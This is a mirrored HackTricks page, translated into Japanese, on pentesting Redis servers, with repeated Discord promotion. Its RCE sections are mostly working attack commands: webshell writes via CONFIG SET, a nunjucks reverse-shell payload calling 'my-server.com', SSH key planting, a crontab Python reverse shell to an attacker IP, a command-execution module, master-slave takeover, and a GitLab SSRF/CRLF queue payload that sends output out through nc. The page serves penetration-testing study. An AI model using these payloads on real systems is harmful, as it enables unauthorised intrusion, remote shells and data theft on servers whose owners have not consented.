mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
362 lines
21 KiB
Markdown
362 lines
21 KiB
Markdown
# 6379 - Pentesting Redis
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricksをサポートする他の方法:
|
||
|
||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に**参加**するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**を**フォロー\*\*してください。
|
||
* **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
|
||
|
||
**ハッキングの洞察**\
|
||
ハッキングのスリルと挑戦に深く入り込むコンテンツに参加しましょう
|
||
|
||
**リアルタイムハックニュース**\
|
||
リアルタイムのニュースと洞察を通じて、迅速なハッキングワールドの最新情報を把握しましょう
|
||
|
||
**最新のアナウンス**\
|
||
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手しましょう
|
||
|
||
[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加**して、今日からトップハッカーと協力を始めましょう!
|
||
|
||
## 基本情報
|
||
|
||
[ドキュメント](https://redis.io/topics/introduction)によると、Redisはオープンソース(BSDライセンス)、インメモリ**データ構造ストア**として使用される**データベース**、キャッシュ、メッセージブローカーです。
|
||
|
||
デフォルトでは、Redisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**も実装できることに注意する必要があります。[ここ](https://fossies.org/linux/redis/TLS.md)でRedisをssl/tlsで実行する方法を学びます。
|
||
|
||
**デフォルトポート:** 6379
|
||
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
6379/tcp open redis Redis key-value store 4.0.9
|
||
```
|
||
|
||
## 自動列挙
|
||
|
||
いくつかの自動化ツールが、Redisインスタンスから情報を取得するのに役立ちます:
|
||
|
||
```bash
|
||
nmap --script redis-info -sV -p 6379 <IP>
|
||
msf> use auxiliary/scanner/redis/redis_server
|
||
```
|
||
|
||
## 手動列挙
|
||
|
||
### バナー
|
||
|
||
Redisは**テキストベースのプロトコル**です。**ソケットにコマンドを送信**するだけで、返される値は読み取れます。また、Redisは**ssl/tls**を使用して実行することもできます(しかし、これは非常に珍しいです)。
|
||
|
||
通常のRedisインスタンスでは、`nc`を使用して接続するか、`redis-cli`を使用することもできます:
|
||
|
||
```bash
|
||
nc -vn 10.10.10.10 6379
|
||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||
```
|
||
|
||
最初に試すべき**コマンド**は\*\*`info`\*\*です。これはRedisインスタンスの情報を出力するか、以下のような情報が返される可能性があります:
|
||
|
||
```
|
||
-NOAUTH Authentication required.
|
||
```
|
||
|
||
### Redis 認証
|
||
|
||
**デフォルトでは**、Redis には **資格情報がなくてもアクセス** できます。ただし、**パスワードのみ、またはユーザー名 + パスワード** をサポートするように **構成** することができます。\
|
||
`requirepass` パラメータを使用して _**redis.conf**_ ファイルに **パスワードを設定** することが可能です。また、サービスが再起動するまで一時的に接続して実行することもできます: `config set requirepass p@ss$12E45`。\
|
||
また、_**redis.conf**_ ファイル内の `masteruser` パラメータで **ユーザー名** を構成することもできます。
|
||
|
||
{% hint style="info" %}
|
||
パスワードのみが構成されている場合、使用されるユーザー名は "**default**" です。\
|
||
また、Redis がパスワードのみかユーザー名 + パスワードで構成されているか **外部から確認する方法はありません**。
|
||
{% endhint %}
|
||
|
||
このようなケースでは、Redis とやり取りするために **有効な資格情報を見つける必要があります**。それを試すために [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#redis) を試すことができます。\
|
||
**有効な資格情報を見つけた場合は、接続を確立した後にセッションを認証する必要があります**。
|
||
|
||
```bash
|
||
AUTH <username> <password>
|
||
```
|
||
|
||
**有効な資格情報** は次のように応答されます: `+OK`
|
||
|
||
### **認証済み列挙**
|
||
|
||
Redisサーバーが**匿名接続**を許可している場合、または有効な資格情報を取得している場合、以下の**コマンド**を使用してサービスの列挙プロセスを開始できます:
|
||
|
||
```bash
|
||
INFO
|
||
[ ... Redis response with info ... ]
|
||
client list
|
||
[ ... Redis response with connected clients ... ]
|
||
CONFIG GET *
|
||
[ ... Get config ... ]
|
||
```
|
||
|
||
**その他のRedisコマンド**は[こちら](https://redis.io/topics/data-types-intro)**と**[こちら](https://lzone.de/cheat-sheet/Redis)**で見つけることができます。**
|
||
|
||
Redisインスタンスの**Redisコマンドは、**_**redis.conf**_ファイルで名前を変更したり削除したりすることができます。例えば、次の行はFLUSHDBコマンドを削除します:
|
||
|
||
```
|
||
rename-command FLUSHDB ""
|
||
```
|
||
|
||
よりセキュアにRedisサービスを設定する方法については、[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) を参照してください。
|
||
|
||
また、実行されたRedisコマンドをリアルタイムで監視するには、`monitor`コマンドを使用するか、トップ25の遅いクエリを取得するには`slowlog get 25`を使用できます。
|
||
|
||
さらに興味深い情報をRedisコマンドについては、[https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) で見つけることができます。
|
||
|
||
### **データベースのダンプ**
|
||
|
||
Redis内では、データベースは0から始まる番号です。 "Keyspace"チャンク内の`info`コマンドの出力で使用されているかどうかを見つけることができます:
|
||
|
||
![](<../.gitbook/assets/image (315).png>)
|
||
|
||
または、すべてのキースペース(データベース)を取得することもできます:
|
||
|
||
```
|
||
INFO keyspace
|
||
```
|
||
|
||
その例では、**データベース0と1**が使用されています。**データベース0には4つのキーが含まれ、データベース1には1つのキーが含まれています**。Redisはデフォルトでデータベース0を使用します。たとえばデータベース1をダンプするには、次のようにします:
|
||
|
||
```bash
|
||
SELECT 1
|
||
[ ... Indicate the database ... ]
|
||
KEYS *
|
||
[ ... Get Keys ... ]
|
||
GET <KEY>
|
||
[ ... Get Key ... ]
|
||
```
|
||
|
||
もし`GET <KEY>`を実行する際に`-WRONGTYPE Operation against a key holding the wrong kind of value`というエラーが表示された場合、キーが文字列や整数以外のものであり、それを表示するためには特別な演算子が必要となる可能性があります。
|
||
|
||
キーのタイプを知るには、`TYPE`コマンドを使用します。以下はリストとハッシュキーの例です。
|
||
|
||
```bash
|
||
TYPE <KEY>
|
||
[ ... Type of the Key ... ]
|
||
LRANGE <KEY> 0 -1
|
||
[ ... Get list items ... ]
|
||
HGET <KEY> <FIELD>
|
||
[ ... Get hash item ... ]
|
||
|
||
# If the type used is weird you can always do:
|
||
DUMP <key>
|
||
```
|
||
|
||
**npmを使用してデータベースをダンプする** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **またはPython** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) **サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!**
|
||
|
||
**ハッキングの洞察**\
|
||
ハッキングのスリルとチャレンジに深く関わるコンテンツに参加しましょう
|
||
|
||
**リアルタイムハックニュース**\
|
||
リアルタイムのニュースと洞察を通じて、ハッキングの世界の最新情報を把握しましょう
|
||
|
||
**最新の発表**\
|
||
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
|
||
|
||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
|
||
|
||
## Redis RCE
|
||
|
||
### インタラクティブシェル
|
||
|
||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) はRedis(<=5.0.5)で自動的にインタラクティブシェルまたはリバースシェルを取得できます。
|
||
|
||
```
|
||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||
```
|
||
|
||
### PHP Webshell
|
||
|
||
情報は[**こちら**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)から。**Webサイトフォルダ**の**パス**を知っている必要があります:
|
||
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename redis.php
|
||
OK
|
||
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
|
||
Webshellアクセス例外がある場合は、バックアップを取った後にデータベースを空にしてから再度試すことができます。データベースを復元することを忘れないでください。
|
||
|
||
### テンプレートWebshell
|
||
|
||
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きしてシェルを取得することもできます。
|
||
|
||
たとえば、[**この解説**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者が**nunjucksテンプレートエンジンによって解釈されるhtmlにrevシェルを注入**したことがわかります。
|
||
|
||
```javascript
|
||
{{ ({}).constructor.constructor(
|
||
"var net = global.process.mainModule.require('net'),
|
||
cp = global.process.mainModule.require('child_process'),
|
||
sh = cp.spawn('sh', []);
|
||
var client = new net.Socket();
|
||
client.connect(1234, 'my-server.com', function(){
|
||
client.pipe(sh.stdin);
|
||
sh.stdout.pipe(client);
|
||
sh.stderr.pipe(client);
|
||
});"
|
||
)()}}
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
**複数のテンプレートエンジンがテンプレートをメモリにキャッシュ**するため、それらを上書きしても新しいものは**実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスにDoSを実行する必要があります(そしてそれが自動的に再起動されることを期待する必要があります)。
|
||
{% endhint %}
|
||
|
||
### SSH
|
||
|
||
例 [こちらから](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||
|
||
**`config get dir`** の結果は他の手動の攻撃コマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを実行することをお勧めします。**`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は _/var/lib/redis_ または _/home/redis/.ssh_)が見つかります。これを知ることで、`authenticated_users` ファイルを書き込んで **redisユーザー**経由でsshアクセスできる場所がわかります。書き込み権限を持つ他の有効なユーザーのホームを知っている場合は、それも悪用できます:
|
||
|
||
1. PCでssh公開鍵と秘密鍵のペアを生成します:**`ssh-keygen -t rsa`**
|
||
2. 公開鍵をファイルに書き込みます:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||
3. ファイルをRedisにインポートします:**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||
4. Redisサーバーの **authorized\_keys** ファイルに公開鍵を保存します:
|
||
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename "authorized_keys"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
|
||
5. 最後に、プライベートキーを使用して **redisサーバー** にssh接続できます:**ssh -i id\_rsa redis@10.85.0.52**
|
||
|
||
**このテクニックはこちらで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||
|
||
### Crontab
|
||
|
||
```
|
||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||
OK
|
||
```
|
||
|
||
最後の例はUbuntu向けですが、**Centos**向けには次のコマンドを使用する必要があります:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||
|
||
この方法はビットコインを稼ぐためにも使用できます:[yam](https://www.v2ex.com/t/286981#reply14)
|
||
|
||
### Redisモジュールの読み込み
|
||
|
||
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)の指示に従って、**任意のコマンドを実行するRedisモジュールをコンパイル**できます。
|
||
2. 次に、**コンパイルされた**モジュールをアップロードする方法が必要です。
|
||
3. ランタイムでアップロードしたモジュールを**読み込みます**:`MODULE LOAD /path/to/mymodule.so`
|
||
4. 正しく読み込まれたかを確認するために**読み込まれたモジュールのリスト**を表示します:`MODULE LIST`
|
||
5. **コマンドを実行**します:
|
||
|
||
```
|
||
127.0.0.1:6379> system.exec "id"
|
||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||
127.0.0.1:6379> system.exec "whoami"
|
||
"root\n"
|
||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||
```
|
||
|
||
6. 必要に応じてモジュールをアンロードします:`MODULE UNLOAD mymodule`
|
||
|
||
### LUAサンドボックス回避
|
||
|
||
[**こちら**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)で、Redisは**Luaコードをサンドボックス化して実行**するために**EVAL**コマンドを使用していることがわかります。リンク先の投稿では、**dofile**関数を使用してこれを悪用する方法が示されていますが、[おそらく](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや可能ではありません。とにかく、Luaサンドボックスをバイパスできれば、システム上で**任意の**コマンドを**実行**できます。また、同じ投稿からDoSを引き起こすためのいくつかの**オプション**も確認できます。
|
||
|
||
Luaサンドボックスから脱出するためのいくつかの**CVE**:
|
||
|
||
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||
|
||
### マスタースレーブモジュール
|
||
|
||
マスターレディスでは、すべての操作が自動的にスレーブレディスに同期されるため、脆弱性のあるレディスをスレーブレディスと見なし、自分自身が制御するマスターレディスに接続し、自分自身のレディスにコマンドを入力できます。
|
||
|
||
```
|
||
master redis : 10.85.0.51 (Hacker's Server)
|
||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||
A master-slave connection will be established from the slave redis and the master redis:
|
||
redis-cli -h 10.85.0.52 -p 6379
|
||
slaveof 10.85.0.51 6379
|
||
Then you can login to the master redis to control the slave redis:
|
||
redis-cli -h 10.85.0.51 -p 6379
|
||
set mykey hello
|
||
set mykey2 helloworld
|
||
```
|
||
|
||
## RedisへのSSRF
|
||
|
||
Redisに**クリアテキスト**リクエストを送信できる場合、Redisと**通信**できます。Redisはリクエストを1行ずつ読み取り、理解できない行にはエラーを返すだけです。
|
||
|
||
```
|
||
-ERR wrong number of arguments for 'get' command
|
||
-ERR unknown command 'Host:'
|
||
-ERR unknown command 'Accept:'
|
||
-ERR unknown command 'Accept-Encoding:'
|
||
-ERR unknown command 'Via:'
|
||
-ERR unknown command 'Cache-Control:'
|
||
-ERR unknown command 'Connection:'
|
||
```
|
||
|
||
したがって、ウェブサイトで**SSRF vuln**を見つけ、いくつかの**ヘッダー**(おそらくCRLF vulnを使用)や**POSTパラメータ**を**制御**できる場合、Redisに任意のコマンドを送信できます。
|
||
|
||
### 例: Gitlab SSRF + CRLFからシェルへ
|
||
|
||
**Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1](これにより127.0.0.1にアクセスされます)の形式で任意のIPにアクセスできるようにし、**CRLF** vulnは**URL**に\*\*%0D%0A\*\*文字を追加することで悪用されました。
|
||
|
||
したがって、これらの脆弱性を悪用して、**gitlab**から**キューを管理する**Redisインスタンスに話しかけ、それらのキューを悪用して**コード実行を取得**することが可能でした。Redisキューの悪用ペイロードは次のとおりです:
|
||
|
||
```
|
||
multi
|
||
sadd resque:gitlab:queues system_hook_push
|
||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||
exec
|
||
```
|
||
|
||
そして、`whoami`を実行し、出力を`nc`を介して送信するために、**SSRF**と**CRLF**を悪用した**URLエンコード**リクエストは次のとおりです:
|
||
|
||
```
|
||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||
```
|
||
|
||
_何らかの理由で(情報提供元は_[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)_で、この情報はそこから取得されました)、この攻撃は `git` スキームではなく `http` スキームで動作しませんでした。_
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
|
||
|
||
**ハッキングの洞察**\
|
||
ハッキングのスリルと挑戦に深く入り込むコンテンツに参加しましょう
|
||
|
||
**リアルタイムのハックニュース**\
|
||
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていきましょう
|
||
|
||
**最新のアナウンスメント**\
|
||
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
|
||
|
||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) **に参加して、今日からトップハッカーと協力を始めましょう!**
|